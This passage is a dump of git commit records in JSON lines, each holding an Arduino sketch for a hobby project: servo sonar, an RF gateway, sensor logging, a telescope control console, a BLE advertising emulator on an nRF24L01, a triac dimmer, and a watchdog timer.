readSomething = false;\n int command = -1;\n int value = -1;\n while (Serial.available() > 0) {\n readSomething = true;\n command = Serial.parseInt();\n if( command < 0 || command > COMMANDS.COMMANDS_MAX) {\n command = COMMANDS.NONE;\n }\n value = Serial.parseInt();\n }\n \n switch(command) {\n case SONAR: {\n sonarPing(value);\n } \n } \n \n return readSomething;\n}\n\nvoid sonarPing(microseconds) {\n microseconds = constrain(microseconds, SERVO_MIN_MS, SERVO_MAX_MS);\n servo.writeMicroseconds(microseconds);\n waitForServo();\n lastServoTime = millis();\n printDistance(); \n lastServoTime = millis();\n}\n\nvoid waitForServo {\n unsigned long now = millis();\n unsigned long diff = now - lastServoTime;\n if( diff < SERVO_WAIT_TIME_MILLIS ) {\n unsigned long delayTime = SERVO_WAIT_TIME_MILLIS - diff;\n Serial.write(\"delaying servo movement for ms: \");\n Serial.print(delayTime, DEC);\n delay(delayTime);\n }\n}\n\nvoid printDistance() {\n unsigned int uS = sonar.ping(); \/\/ Send ping, get ping time in microseconds (uS).\n Serial.print(uS \/ US_ROUNDTRIP_CM); \/\/ Convert ping time to distance in cm and print result (0 = outside set distance range)\n}\n\n\nvoid sayNo() {\n servo.writeMicroseconds((SERVO_MAX_MS - SERVO_MIN_MS)\/2 + SERVO_MIN_MS);\n delay(ANSWER_SERVO_DELAY);\n servo.writeMicroseconds(SERVO_MAX_MS);\n delay(ANSWER_SERVO_DELAY);\n servo.writeMicroseconds((SERVO_MAX_MS - SERVO_MIN_MS)\/2 + SERVO_MIN_MS);\n delay(ANSWER_SERVO_DELAY);\n servo.writeMicroseconds(SERVO_MAX_MS);\n delay(ANSWER_SERVO_DELAY);\n servo.writeMicroseconds((SERVO_MAX_MS - SERVO_MIN_MS)\/2 + SERVO_MIN_MS);\n delay(ANSWER_SERVO_DELAY);\n}\n\nvoid sayYes() {\n servo.writeMicroseconds((SERVO_MAX_MS - SERVO_MIN_MS)\/2 + SERVO_MIN_MS);\n delay(ANSWER_SERVO_DELAY);\n servo.writeMicroseconds(SERVO_MIN_MS);\n delay(ANSWER_SERVO_DELAY);\n servo.writeMicroseconds((SERVO_MAX_MS - SERVO_MIN_MS)\/2 + SERVO_MIN_MS);\n delay(ANSWER_SERVO_DELAY);\n servo.writeMicroseconds(SERVO_MIN_MS);\n delay(ANSWER_SERVO_DELAY);\n servo.writeMicroseconds((SERVO_MAX_MS - SERVO_MIN_MS)\/2 + SERVO_MIN_MS);\n delay(ANSWER_SERVO_DELAY);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'biber\/biber.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2d8e477fbc6fb6a03e53bed719bb8dd9b9681d16","subject":"Added RF Gateway v0.1 project","message":"Added RF Gateway v0.1 project\n","repos":"brulejr\/sketchbook,brulejr\/sketchbook","old_file":"rf_gateway_v0_1\/rf_gateway_v0_1.ino","new_file":"rf_gateway_v0_1\/rf_gateway_v0_1.ino","new_contents":"\/\/ Test sketch that is loaded on master Moteinos\n\/\/ It will listen for any packets received from slave Moteinos\n\/\/ If an ACK request message is received, it sends and ACK and also\n\/\/ sends an ACKed message to the slave, ensuring that 2-way\n\/\/ communication is functional on the slave Moteino\n\n#include <RFM12B.h>\n\n\n#define VERSION \"v0.7\"\n\n#define NODEID 1 \/\/ node ID used for this unit\n#define NETWORKID 99\n#define FREQUENCY RF12_915MHZ \/\/Match this with the version of your Moteino! (others: RF12_433MHZ, RF12_915MHZ)\n#define KEY \"ABCDABCDABCDABCD\"\n#define ACK_TIME 50 \/\/ # of ms to wait for an ack\n\n#define SERIAL_BAUD 115200\n\n#define BUFFER_SIZE 64\n\nchar buffer[BUFFER_SIZE];\n\nuint8_t input[RF12_MAXDATA];\nRFM12B radio;\n\nbyte recvCount = 0;\n\n\n\/******************************************************************************\n * Main Arduino Subroutines\n ******************************************************************************\/\n\n\/\/------------------------------------------------------------------------------\n\/\/ setup the arduino board\n\/\/\nvoid setup() {\n \n \/\/ open serial communications and wait for port to open:\n Serial.begin(SERIAL_BAUD);\n while (!Serial) ; \/\/ Needed for Leonardo only\n Serial.print(\"RF Gateway - \");\n Serial.println(VERSION);\n \n \/\/ radio initialization\n setup_radio();\n \n \/\/ setup flashy pin\n pinMode(9, OUTPUT);\n\n}\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ main processing loop\n\/\/\nvoid loop() {\n if (radio.ReceiveComplete())\n {\n if (radio.CRCPass())\n {\n digitalWrite(9,1);\n Serial.print('[');Serial.print(radio.GetSender(), DEC);Serial.print(\"] \");\n for (byte i = 0; i < *radio.DataLen; i++)\n Serial.print((char)radio.Data[i]);\n\n if (radio.ACKRequested())\n {\n byte theNodeID = radio.GetSender();\n radio.SendACK();\n \/\/when a node requests an ACK, respond to the ACK and also send a packet requesting an ACK\n \/\/This way both TX\/RX NODE functions are tested on 1 end at the GATEWAY\n Serial.print(\" - ACK sent. Sending packet to node \");\n Serial.print(theNodeID);\n delay(10);\n radio.Send(theNodeID, \"ACK TEST\", 8, true);\n Serial.print(\" - waiting for ACK...\");\n if (waitForAck(theNodeID)) Serial.print(\"ok!\");\n else Serial.print(\"nothing...\");\n }\n delay(5);\n digitalWrite(9,0);\n }\n else Serial.print(\"BAD-CRC\");\n \n Serial.println();\n }\n}\n\n\/\/ wait a few milliseconds for proper ACK to me, return true if indeed received\nstatic bool waitForAck(byte theNodeID) {\n long now = millis();\n while (millis() - now <= ACK_TIME) {\n if (radio.ACKReceived(theNodeID))\n return true;\n }\n return false;\n}\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ Initializes the RFM12B radio.\nvoid setup_radio() {\n radio.Initialize(NODEID, FREQUENCY, NETWORKID, 0);\n radio.Encrypt((byte*)KEY);\n sprintf(buffer, \"Transmitting at %d Mhz...\", FREQUENCY == RF12_433MHZ ? 433 : FREQUENCY== RF12_868MHZ ? 868 : 915);\n Serial.println(buffer);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rf_gateway_v0_1\/rf_gateway_v0_1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"98e9a70122937fbd62e4591fd4f7fa2895b345c3","subject":"asa arduino","message":"asa arduino\n","repos":"sjhonatan\/arduino,sjhonatan\/arduino","old_file":"pySerial\/ASA\/ASA.ino","new_file":"pySerial\/ASA\/ASA.ino","new_contents":"int a0 = 0;\nint a1 = 1;\nint voltage = 0;\nint current = 0;\nint serialRead = 0;\n\nvoid setup(){\n Serial.begin(9600);\n}\n\nvoid loop(){\n voltage = analogRead(a0);\n current = analogRead(a1);\n if (Serial.available() > 0) {\n serialRead = Serial.read();\n if(serialRead == 65){\n Serial.println(voltage);\n Serial.println(current);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'pySerial\/ASA\/ASA.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"23b0b1597666e82b09f0448b04c1d115e66f3b78","subject":"Added a quick arduino script","message":"Added a quick arduino script\n\nreads data from sensors and saves them to the sd card\n","repos":"siracoj\/backbreaker","old_file":"AudrinoCode\/PressureSensorRead\/PressureSensorRead.ino","new_file":"AudrinoCode\/PressureSensorRead\/PressureSensorRead.ino","new_contents":"#include <SD.h>\n\n\/\/Audrino code to read in the six sensors\n\/\/Reads data every 100ms\nint sensorValues[6];\nvoid setup()\n{\n \/\/start Serial\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n \/\/reading in sensor data from 6 analog sensors\n sensorValues[0] = analogRead(A0);\n sensorValues[1] = analogRead(A1);\n sensorValues[2] = analogRead(A2);\n sensorValues[3] = analogRead(A3);\n sensorValues[4] = analogRead(A4);\n sensorValues[5] = analogRead(A5);\n \n if(SD.begin()){ \/\/Writing data to the SD card\n File data = SD.open(\"sensordata.csv\", FILE_WRITE);\n String row = \"\";\n for(int i = 0; i < 5; i++)\n {\n row = row + sensorValues[i] + \",\";\n }\n row = row + sensorValues[5] + \"\\n\";\n char writeData[row.length()];\n row.toCharArray(writeData, row.length());\n data.write(writeData);\n data.close();\n }\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'AudrinoCode\/PressureSensorRead\/PressureSensorRead.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"42bd935eea4b72fa91b16970a7cf5aae518fd7db","subject":"Arduino relay","message":"Arduino relay\n","repos":"KulenTech\/Low-cost_Smart-house,KulenTech\/Low-cost_Smart-house,KulenTech\/Low-cost_Smart-house,KulenTech\/Low-cost_Smart-house","old_file":"Arduino sketches\/relej\/relej.ino","new_file":"Arduino sketches\/relej\/relej.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'sketches\/relej\/relej.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"71b8233eeded908cb4bbd2a2ce8ab8c1e55a52b1","subject":"Add console example application.","message":"Add console example application.\n","repos":"ars-ka0s\/nexstar-arduino","old_file":"NexStar\/examples\/Console\/Console.ino","new_file":"NexStar\/examples\/Console\/Console.ino","new_contents":"#include <NexStar.h>\n\n#define RXPIN 10\n#define TXPIN 11\n#define SELPIN 12\n\nvoid printHex(byte val) {\n byte n = (val & 0xF0) >> 4;\n \n if (n < 10) {\n Serial.write('0' + n);\n } else {\n Serial.write('A' + n - 10);\n }\n\n n = val & 0x0F;\n \n if (n < 10) {\n Serial.write('0' + n);\n } else {\n Serial.write('A' + n - 10);\n }\n\n Serial.write(\" \");\n}\n\nNexStar ns(TXPIN, RXPIN, SELPIN);\nuint8_t currRate=5;\n\nvoid setup() {\n Serial.begin(9600);\n while (!Serial);\n}\n\nvoid loop() {\n Serial.print(\"> \");\n \n while (!Serial.available());\n byte b = Serial.read();\n long p;\n uint16_t ver;\n \n switch (b) {\n case 'w':\n ns.elevationMC->jog(currRate, FORWARD);\n Serial.println(\"Up\");\n break;\n \n case 's':\n ns.elevationMC->jog(currRate, REVERSE);\n Serial.println(\"Down\");\n break;\n \n case 'd':\n ns.azimuthMC->jog(currRate, FORWARD);\n Serial.println(\"Right\");\n break;\n \n case 'a':\n ns.azimuthMC->jog(currRate, REVERSE);\n Serial.println(\"Left\");\n break;\n \n case 'x':\n ns.azimuthMC->jog(0, FORWARD);\n ns.elevationMC->jog(0, FORWARD);\n Serial.println(\"Stop\");\n break;\n \n case '+':\n if (++currRate > 9) currRate = 9;\n Serial.print(\"Rate: \");\n Serial.println(currRate);\n break;\n \n case '-':\n if (--currRate < 1) currRate = 1;\n Serial.print(\"Rate: \");\n Serial.println(currRate);\n break;\n \n case 'z':\n Serial.print(\"Az: \");\n Serial.print(ns.azimuthMC->getPosition());\n Serial.print(\" El: \");\n Serial.println(ns.elevationMC->getPosition());\n break;\n \n case 'q':\n p = Serial.parseInt();\n Serial.print(\"Move Az to \");\n Serial.println(p);\n ns.azimuthMC->gotoFast(p);\n break;\n\n case 'e':\n p = Serial.parseInt();\n Serial.print(\"Move El to \");\n Serial.println(p);\n ns.elevationMC->gotoFast(p);\n break;\n \n case 'Q':\n p = Serial.parseInt();\n Serial.print(\"Set Az to \");\n Serial.println(p);\n ns.azimuthMC->setPosition(p);\n break;\n\n case 'E':\n p = Serial.parseInt();\n Serial.print(\"Set El to \");\n Serial.println(p);\n ns.elevationMC->setPosition(p);\n break;\n\n case 'm':\n Serial.print(\"Moving: \");\n if (!ns.azimuthMC->isSlewing()) Serial.print(\"!\");\n Serial.print(\"Az \");\n if (!ns.elevationMC->isSlewing()) Serial.print(\"!\");\n Serial.println(\"El\");\n break;\n\n case 'v':\n Serial.print(\"Az: \");\n ver = ns.azimuthMC->getVersion();\n printHex((ver & 0xFF00) >> 8);\n printHex(ver & 0xFF);\n\n Serial.print(\" El: \");\n ver = ns.elevationMC->getVersion();\n printHex((ver & 0xFF00) >> 8);\n printHex(ver & 0xFF);\n break;\n\n case '?':\n Serial.println(\"w\/s: up\/down\");\n Serial.println(\"a\/d: left\/right\");\n Serial.println(\"x: stop\");\n Serial.println(\"z: read current pos\");\n Serial.println(\"+\/-: change rate\");\n Serial.println(\"q\/e: send az\/el to pos fast\");\n Serial.println(\"Q\/E: set az\/el to pos\");\n Serial.println(\"m: moving?\");\n Serial.println(\"v: version?\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'NexStar\/examples\/Console\/Console.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"8e1f320f198d9640ecfe5da01d1a3792338a190c","subject":"Add test sketch","message":"Add test sketch\n","repos":"rlisle\/Patriot,rlisle\/Patriot,rlisle\/ParticleIoT,rlisle\/ParticleIoT,rlisle\/ParticleIoT,rlisle\/Patriot,rlisle\/Patriot","old_file":"Photon\/IoTlib\/examples\/test\/test.ino","new_file":"Photon\/IoTlib\/examples\/test\/test.ino","new_contents":"\/******************************************************************\nTest sketch for Patriot library\n\nThis sketch is needed by the iOS unit tests.\n\nhttp:\/\/www.github.com\/rlisle\/Patriot\n\nWritten by Ron Lisle\n\nBSD license, check LICENSE for more information.\nAll text above must be included in any redistribution.\n\nChangelog:\n2017-04-03: Created based on starter.ino\n******************************************************************\/\n\n#include <IoT.h>\nIoT *iot;\n\nvoid setup() {\n iot = IoT::getInstance();\n iot->setControllerName(\"myPhoton\");\n iot->begin();\n\n iot->addLight(D7, \"Led\"); \/\/ This is the small blue LED on a photon\n iot->addBehavior(\"Led\", new Behavior(\"photon\",'>',0, 100));\n iot->exposeActivities();\n iot->exposeControllers();\n}\n\nvoid loop() {\n iot->loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Photon\/IoTlib\/examples\/test\/test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f455e6aedc3d72481a2048fec448448e0e4fbee9","subject":"- initial working prototype","message":"- initial working prototype\n","repos":"sandeepmistry\/arduino-nRF24L01-BLE","old_file":"bb_ble.ino","new_file":"bb_ble.ino","new_contents":"\/\/ based off of: http:\/\/dmitry.gr\/index.php?r=05.Projects&proj=11.%20Bluetooth%20LE%20fakery\n\n#include <stdio.h>\n#include <avr\/io.h>\n#include <avr\/interrupt.h>\n#include <avr\/sleep.h>\n#define F_CPU\t8000000\n#include <avr\/delay.h>\n\n#include <stdint.h>\n\n#define PIN_CE\t8 \/\/Output\n#define PIN_nCS\t7 \/\/Output\n\n\n#define MY_MAC_0\t0xEF\n#define MY_MAC_1\t0xFF\n#define MY_MAC_2\t0xC0\n#define MY_MAC_3\t0xAA\n#define MY_MAC_4\t0x18\n#define MY_MAC_5\t0x00\n\n\nISR(PCINT0_vect)\n{\n\t\/\/useless\n}\n\nvoid btLeCrc(const uint8_t* data, uint8_t len, uint8_t* dst){\n\n\tuint8_t v, t, d;\n\n\twhile(len--){\n\t\n\t\td = *data++;\n\t\tfor(v = 0; v < 8; v++, d >>= 1){\n\t\t\n\t\t\tt = dst[0] >> 7;\n\t\t\t\n\t\t\tdst[0] <<= 1;\n\t\t\tif(dst[1] & 0x80) dst[0] |= 1;\n\t\t\tdst[1] <<= 1;\n\t\t\tif(dst[2] & 0x80) dst[1] |= 1;\n\t\t\tdst[2] <<= 1;\n\t\t\t\n\t\t\n\t\t\tif(t != (d & 1)){\n\t\t\t\n\t\t\t\tdst[2] ^= 0x5B;\n\t\t\t\tdst[1] ^= 0x06;\n\t\t\t}\n\t\t}\t\n\t}\n}\n\nuint8_t swapbits(uint8_t a){\n\n\tuint8_t v = 0;\n\t\n\tif(a & 0x80) v |= 0x01;\n\tif(a & 0x40) v |= 0x02;\n\tif(a & 0x20) v |= 0x04;\n\tif(a & 0x10) v |= 0x08;\n\tif(a & 0x08) v |= 0x10;\n\tif(a & 0x04) v |= 0x20;\n\tif(a & 0x02) v |= 0x40;\n\tif(a & 0x01) v |= 0x80;\n\n\treturn v;\n}\n\nvoid btLeWhiten(uint8_t* data, uint8_t len, uint8_t whitenCoeff){\n\n\tuint8_t m;\n\t\n\twhile(len--){\n\t\n\t\tfor(m = 1; m; m <<= 1){\n\t\t\n\t\t\tif(whitenCoeff & 0x80){\n\t\t\t\t\n\t\t\t\twhitenCoeff ^= 0x11;\n\t\t\t\t(*data) ^= m;\n\t\t\t}\n\t\t\twhitenCoeff <<= 1;\n\t\t}\n\t\tdata++;\n\t}\n}\n\nstatic inline uint8_t btLeWhitenStart(uint8_t chan){\n\t\/\/the value we actually use is what BT'd use left shifted one...makes our life easier\n\n\treturn swapbits(chan) | 2;\t\n}\n\nvoid btLePacketEncode(uint8_t* packet, uint8_t len, uint8_t chan){\n\t\/\/length is of packet, including crc. pre-populate crc in packet with initial crc value!\n\n\tuint8_t i, dataLen = len - 3;\n\t\n\tbtLeCrc(packet, dataLen, packet + dataLen);\n\tfor(i = 0; i < 3; i++, dataLen++) packet[dataLen] = swapbits(packet[dataLen]);\n\tbtLeWhiten(packet, len, btLeWhitenStart(chan));\n\tfor(i = 0; i < len; i++) packet[i] = swapbits(packet[i]);\n\t\n}\n\nuint8_t spi_byte(uint8_t byte){\n\n\/\/\tuint8_t i = 0;\n\/\/\t\n\/\/\tdo{\n\/\/\t\tdigitalWrite(11, LOW); \/\/PORTB &=~ (uint8_t)(1 << 6);\n\/\/\t\tif(byte & 0x80) digitalWrite(11, HIGH); \/\/PORTB |= (uint8_t)(1 << 6);\n\/\/\t\tdigitalWrite(13, HIGH); \/\/CLK |= (uint8_t)(1 << 4);\n\/\/\t\tbyte <<= 1;\n\/\/\/\/\t\tif(PINA & (uint8_t)32) byte++;\n\/\/\/\/ delay(10);\n\/\/\t\tdigitalWrite(13, LOW);\/\/CLK &=~ (uint8_t)(1 << 4);\n\/\/\t\n\/\/\t}while(--i);\n\n\n\/\/ Serial.println(\"SPI BYTE\");\n shiftOut(11, 13, MSBFIRST, byte);\n\n\treturn byte;\n}\n\nvoid nrf_cmd(uint8_t cmd, uint8_t data)\n{\n\tdigitalWrite(PIN_nCS, LOW); \/\/cbi(PORTB, PIN_nCS);\n\tspi_byte(cmd);\n\tspi_byte(data);\n\tdigitalWrite(PIN_nCS, HIGH); \/\/ sbi(PORTB, PIN_nCS); \/\/Deselect chip\n}\n\nvoid nrf_simplebyte(uint8_t cmd)\n{\n\tdigitalWrite(PIN_nCS, LOW); \/\/cbi(PORTB, PIN_nCS);\n\tspi_byte(cmd);\n\tdigitalWrite(PIN_nCS, HIGH); \/\/sbi(PORTB, PIN_nCS);\n}\n\nvoid nrf_manybytes(uint8_t* data, uint8_t len){\n\n digitalWrite(PIN_nCS, LOW); \/\/ cbi(PORTB, PIN_nCS);\n do{\n\t\n\t\tspi_byte(*data++);\n\t\n\t}while(--len);\n\tdigitalWrite(PIN_nCS, HIGH); \/\/ sbi(PORTB, PIN_nCS);\n}\n\n\/\/void fob_init (void)\n\/\/{\n\/\/\tDDRA = (uint8_t)~(1<<5);\n\/\/\tDDRB = 0b00000110;\n\/\/\tPORTA = 0b10001111;\n\/\/\tcbi(PORTB, PIN_CE);\n\/\/\tTCCR0B = (1<<CS00);\n\/\/\tMCUCR = (1<<SM1)|(1<<SE);\n\/\/\tsei();\n\/\/}\n\nvoid setup() {\n \/\/ set the digital pin as output:\n pinMode(PIN_nCS, OUTPUT);\n pinMode(PIN_CE, OUTPUT);\n pinMode(11, OUTPUT);\n pinMode(13, OUTPUT);\n \n Serial.begin(9600);\n Serial.println(\"HELLO\");\n}\n\nvoid loop() { \/\/int main (void)\n\/\/{\n\tstatic const uint8_t chRf[] = {2, 26,80};\n\tstatic const uint8_t chLe[] = {37,38,39};\n\tuint8_t i, L, ch = 0;\n\tuint8_t buf[32];\n\t\n\/\/\tfob_init();\n\t\n\/\/\tDDRA |= 4;\n\/\/\tPORTA |= 4;\n\t\n\tnrf_cmd(0x20, 0x12);\t\/\/on, no crc, int on RX\/TX done\n\tnrf_cmd(0x21, 0x00);\t\/\/no auto-acknowledge\n\tnrf_cmd(0x22, 0x00);\t\/\/no RX\n\tnrf_cmd(0x23, 0x02);\t\/\/5-byte address\n\tnrf_cmd(0x24, 0x00);\t\/\/no auto-retransmit\n\tnrf_cmd(0x26, 0x06);\t\/\/1MBps at 0dBm\n\tnrf_cmd(0x27, 0x3E);\t\/\/clear various flags\n\tnrf_cmd(0x3C, 0x00);\t\/\/no dynamic payloads\n\tnrf_cmd(0x3D, 0x00);\t\/\/no features\n\tnrf_cmd(0x31, 32);\t\/\/always RX 32 bytes\n\tnrf_cmd(0x22, 0x01);\t\/\/RX on pipe 0\n\t\n\tbuf[0] = 0x30;\t\t\t\/\/set addresses\n\tbuf[1] = swapbits(0x8E);\n\tbuf[2] = swapbits(0x89);\n\tbuf[3] = swapbits(0xBE);\n\tbuf[4] = swapbits(0xD6);\n\tnrf_manybytes(buf, 5);\n\tbuf[0] = 0x2A;\n\tnrf_manybytes(buf, 5);\n\n\t\n\t\n\twhile(1){\n\t\t\n\t\tL = 0;\n\t\t\n\t\tbuf[L++] = 0x40;\t\/\/PDU type, given address is random\n buf[L++] = 0x11; \/\/17 bytes of payload\n\t\t\n\t\tbuf[L++] = MY_MAC_0;\n\t\tbuf[L++] = MY_MAC_1;\n\t\tbuf[L++] = MY_MAC_2;\n\t\tbuf[L++] = MY_MAC_3;\n\t\tbuf[L++] = MY_MAC_4;\n\t\tbuf[L++] = MY_MAC_5;\n\t\t\n\t\tbuf[L++] = 2;\t\t\/\/flags (LE-only, limited discovery mode)\n\t\tbuf[L++] = 0x01;\n\t\tbuf[L++] = 0x05;\n\t\t\n\t\tbuf[L++] = 7;\n\t\tbuf[L++] = 0x08;\n\t\tbuf[L++] = 'n';\n\t\tbuf[L++] = 'R';\n\t\tbuf[L++] = 'F';\n\t\tbuf[L++] = ' ';\n\t\tbuf[L++] = 'L';\n\t\tbuf[L++] = 'E';\n\t\t\n\t\tbuf[L++] = 0x55;\t\/\/CRC start value: 0x555555\n\t\tbuf[L++] = 0x55;\n\t\tbuf[L++] = 0x55;\n\t\t\n\t\t\n\t\tif(++ch == sizeof(chRf)) ch = 0;\n\t\t\n\t\tnrf_cmd(0x25, chRf[ch]);\n\t\tnrf_cmd(0x27, 0x6E);\t\/\/clear flags\n\n\t\tbtLePacketEncode(buf, L, chLe[ch]);\n\t\t\n\t\tnrf_simplebyte(0xE2); \/\/Clear RX Fifo\n\t\tnrf_simplebyte(0xE1); \/\/Clear TX Fifo\n\t\n digitalWrite(PIN_nCS, LOW); \/\/ cbi(PORTB, PIN_nCS);\n\t\tspi_byte(0xA0);\n\t\tfor(i = 0 ; i < L ; i++) spi_byte(buf[i]);\n digitalWrite(PIN_nCS, HIGH); \/\/ sbi(PORTB, PIN_nCS);\n\t\n\t\tnrf_cmd(0x20, 0x12);\t\/\/tx on\n digitalWrite(PIN_CE, HIGH); \/\/ sbi(PORTB, PIN_CE);\t \/\/do tx\n\t\tdelay(10); \/\/delay_ms(10);\n digitalWrite(PIN_CE, LOW); \/\/ cbi(PORTB, PIN_CE);\t(in preparation of switching to RX quickly)\n\t}\n\t\n\t\n\/\/\treturn 0;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'bb_ble.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8246e48e158e267dd499b670f557f3da80b5881f","subject":"Added an example.","message":"Added an example.\n","repos":"AJMansfield\/TriacDimmer","old_file":"examples\/basic_example\/basic_example.ino","new_file":"examples\/basic_example\/basic_example.ino","new_contents":"\/*\n Basic Example.\n \n This sketch alternately fades two lights in and out, using a\n digital mains AC dimmer switch board.\n\n This sketch is meant to be used with one of these boards, or \n something similar:\n http:\/\/a.co\/iy2r6Gq\n http:\/\/a.co\/30mKbq8\n\n Note that the circuit here uses high-voltage mains AC power - make\n sure you understand the risks and take appropriate precautions.\n\n The circuit:\n * Pin 8 is connected to the dimmer 'sync' pin.\n * Pin 9 is connected to the dimmer 'ch 1' pin.\n * Pin 10 is connected to the dimmer 'ch 2' pin.\n * The dimmer power input is connected to mains AC power.\n * The dimmer channel 1 and channel 2 outputs are connected \n to lightbulbs or other devices.\n\n \n\n Created 2017-02-23\n By Anson Mansfield\n\n*\/\n\n#include <TriacDimmer.h>\n\n\/\/ arduino pins\nunsigned char sync = 8; \/\/sync pin\nunsigned char channel_1 = 9; \/\/ channel 1 pin\nunsigned char channel_2 = 10; \/\/ channel 2 pin\n\nvoid setup() {\n \/\/initialize the dimmer library. We want \n TriacDimmer::begin();\n}\n\nvoid loop() {\n \/\/gradually increase brightness over time\n for(float brightness = 0.01; brightness < 0.99; brightness += 0.01){\n \n \/\/set channel 1 to the brightness value:\n TriacDimmer::setBrightness(channel_1, brightness); \n\n \/\/invert brightness for channel 2:\n TriacDimmer::setBrightness(channel_2, 1 - brightness); \n \n delay(20);\n }\n \n \/\/and back down - decrease brightness over time\n for(float brightness = 0.99; brightness > 0.01; brightness -= 0.01){\n \n \/\/set channel 1 to the brightness value:\n TriacDimmer::setBrightness(channel_1, brightness);\n\n \/\/invert brightness for channel 2:\n TriacDimmer::setBrightness(channel_2, brightness);\n \n delay(20);\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/basic_example\/basic_example.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"10e78c710f453e5728693fc02afa73d0173acbab","subject":"Create SGANT.ino","message":"Create SGANT.ino","repos":"ISS-Mimic\/Mimic,ISS-Mimic\/Mimic,ISS-Mimic\/Mimic,ISS-Mimic\/Mimic","old_file":"Arduino\/MIMIC_Extras\/SGANT\/SGANT.ino","new_file":"Arduino\/MIMIC_Extras\/SGANT\/SGANT.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#include <Servo.h>\n#include <string.h>\n\n\/\/Connect USB port to Pi USB Port\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(16, 6, NEO_GRB + NEO_KHZ800);\nServo XEL_servo;\nServo EL_servo;\nconst int ledBluePin = 13;\nString test;\nint EL = 0;\nint XEL = 0;\nboolean Transmit = false;\nint pos = 0;\nint pos2 = 0;\n\nvoid setup()\n{\n pinMode(ledBluePin, OUTPUT);\n Serial.begin(9600);\n Serial.setTimeout(50);\n strip.begin();\n}\n\nvoid loop()\n{\n digitalWrite(ledBluePin, LOW);\n\n if(Serial.available())\n {\n checkSerial();\n }\n\n if(Transmit)\n {\n allSet(strip.Color(50,50,50),10);\n strip.show();\n }\n else\n {\n allSet(strip.Color(50,0,0),10);\n strip.show();\n }\n \n EL_servo.attach(10);\n XEL_servo.attach(9);\n for (int x = pos; x <= EL; x += 1) \n {\n EL_servo.write(x);\n delay(15);\n }\n for (int y = pos2; y <= XEL; y += 1) \n {\n XEL_servo.write(y);\n delay(15);\n }\n pos = EL;\n pos2 = XEL;\n EL_servo.detach();\n XEL_servo.detach();\n}\n\nvoid checkSerial()\n{\n digitalWrite(ledBluePin, HIGH);\n test = \"\";\n \n while(Serial.available()) \n {\n test = Serial.readString();\n }\n \/\/Serial1.println(test);\n char sz[test.length() + 1];\n char copy[test.length() + 1];\n strcpy(sz, test.c_str()); \n char *p = sz;\n char *str;\n int delimeter = 0;\n String test2 = \"\"; \n \n while((str = strtok_r(p,\" \",&p))!=NULL)\n {\n test2 = String(str);\n delimeter = test2.indexOf('='); \n if(test2.substring(0,delimeter)==\"SGANT_El_deg\")\n {\n EL = (test2.substring(delimeter+1)).toInt();\n } \n else if(test2.substring(0,delimeter)==\"SGANT_xEl_deg\")\n {\n XEL = (test2.substring(delimeter+1)).toInt();\n } \n else if(test2.substring(0,delimeter)==\"SGANT_Transmit\")\n {\n Transmit = (test2.substring(delimeter+1)).toInt();\n }\n }\n}\nvoid allSet(uint32_t c, uint8_t wait) \n{\n for(uint16_t i=0; i<strip.numPixels(); i++) \n {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/MIMIC_Extras\/SGANT\/SGANT.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"26d81b88b96cae191ec141dc15eca9afd501fdbf","subject":"Created watchdog sketch for Trinket","message":"Created watchdog sketch for Trinket\n","repos":"DevMolasses\/FumeHoodMonitor","old_file":"FumeHoodWatchDog\/TrinketWatchDog.ino","new_file":"FumeHoodWatchDog\/TrinketWatchDog.ino","new_contents":"#define watchDogPin 0\n#define resetPin 2\n#define heartBeatPin 1\n\nunsigned long watchDogInterval = 7000;\nunsigned long resetDuration = 5000;\nunsigned long watchDogTimer;\n\nunsigned long heartBeatTimer;\nunsigned long heartBeatDuration = 15;\nshort heartBeatBrightness = 0;\nshort fadeAmount = 5;\n\nbool watchDogHasBeenPet = FALSE;\n\nvoid setup() {\n pinMode(watchDogPin, INPUT);\n pinMode(resetPin, OUTPUT_PULLUP);\n pinMode(heartBeatPin, OUTPUT);\n watchDogTimer = millis();\n heartBeatTimer = millis();\n}\n\nvoid loop(){\n watchDogHasBeenPet = digitalRead(watchDogPin) == 1;\n if (watchDogHasBeenPet) watchDogTimer = millis();\n unsigned long now = millis();\n if(now - watchDogTimer >= watchDogInterval){\n digitalWrite(resetPin, LOW);\n digitalWrite(heartBeatPin, HIGH);\n delay(resetDuration);\n watchdogTimer = millis();\n }\n heartBeat();\n}\n\nvoid heartBeat(){\n unsigned long now = millis();\n if (now - heartBeatTimer >= heartBeatDuration){\n analogWrite(heartBeatPin, brightness);\n brightness += fadeAmount;\n if (brightness <= 0 || brightness >= 255) fadeAmount = -fadeAmount;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'FumeHoodWatchDog\/TrinketWatchDog.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} 